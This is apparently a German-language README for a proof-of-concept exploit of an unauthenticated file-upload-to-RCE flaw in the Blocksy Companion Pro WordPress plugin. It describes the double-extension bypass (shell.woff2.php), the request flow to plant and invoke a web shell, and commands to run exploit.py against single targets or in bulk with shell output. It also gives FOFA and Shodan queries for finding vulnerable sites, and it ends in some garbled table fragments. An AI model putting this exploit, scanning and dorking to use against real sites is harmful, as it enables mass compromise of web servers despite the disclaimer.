
CVE-2026-58480 / CVE-2026-15158 — Nicht authentifizierte RCE in Blocksy Companion Pro < 2.1.47 (300K+ Installationen). Beliebiger Datei-Upload vor der Authentifizierung über Double-Extension-Bypass.
CVE-2026-58480 (auch als CVE-2026-15158 gelistet) ist eine kritische (CVSS 9.8) Schwachstelle für nicht authentifizierten, beliebigen Datei-Upload in Blocksy Companion Pro < 2.1.47 — dem Premium-Addon für das Blocksy-WordPress-Theme (über 300.000 aktive Installationen).
Der save_attachments-AJAX-Handler im Advanced Reviews-Feature (Teil von WooCommerce Extra) akzeptiert Datei-Uploads ohne Authentifizierung. Die Custom Fonts-Erweiterung validiert Uploads über eine strpos()-Teilstringprüfung für .woff2 / .ttf — nicht über die tatsächliche Dateierweiterung. Angreifer umgehen dies mit Dateinamen mit doppelter Erweiterung wie shell.woff2.php: .woff2 erfüllt die Teilstringprüfung, .php wird auf dem Server ausgeführt.
| Version | Status |
|---|---|
| < 2.1.47 | Verwundbar |
| 2.1.47+ | Behoben |
Voraussetzungen: Premium-Lizenz mit aktiven Erweiterungen WooCommerce Extra (Advanced Reviews) und Custom Fonts. Das kostenlose
blocksy-companion-Plugin enthält die verwundbaren Codepfade nicht.
Die Custom Fonts-Erweiterung registriert einen wp_check_filetype_and_ext-Filter, der Dateinamen mithilfe von strpos() validiert — einer Teilstringprüfung — anstatt die tatsächliche Dateierweiterung über PATHINFO_EXTENSION zu prüfen:
// framework/premium/extensions/custom-fonts/extension.php#L137 (reconstructed)
add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime) {
if (strpos($filename, '.woff2') !== false ||
strpos($filename, '.ttf') !== false) {
$data['ext'] = 'woff2';
$data['type'] = 'font/woff2';
}
return $data;
}, 10, 5);
Die Funktion save_attachments in Advanced Reviews ruft die Standard-WordPress-Uploadverarbeitung auf, die diesen Filter aufruft. Eine Datei namens shell.woff2.php besteht die Prüfung, weil .woff2 als Teilstring vorhanden ist — der Filter prüft NICHT, ob es die endgültige Erweiterung ist.
POST /wp-admin/admin-ajax.php
action=blc_save_review_attachments
blc-review-images[] = shell.woff2.php (multipart, PHP payload)
→ wp_check_filetype_and_ext filter: ".woff2" found → approved
→ File saved to wp-content/uploads/YYYY/MM/shell.woff2.php
→ GET /wp-content/uploads/YYYY/MM/shell.woff2.php?cmd=id
→ RCE as www-data
| Datei (Trac) | Zeile | Zweck |
|---|---|---|
framework/premium/extensions/custom-fonts/extension.php | 137 | strpos()-Validierungsfilter |
framework/premium/extensions/woocommerce-extra/features/advanced-reviews/feature.php | 811 |
git clone https://github.com/shinthink/CVE-2026-58480.git
cd CVE-2026-58480
pip install requests
# Fingerprint target
python exploit.py -u https://target.com --check
# Full exploit
python exploit.py -u https://target.com
# Bulk scan
python exploit.py -f targets.txt -o shells.txt
FOFA: body="/wp-content/themes/blocksy/"
Shodan: http.html:"blocksy-companion"
blc-review-images[]wp_check_filetype_and_ext-FilterDieser Exploit dient ausschließlich Bildungs- und autorisierten Sicherheitsforschungszwecken. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung des Eigentümers.
save_attachments-Handler |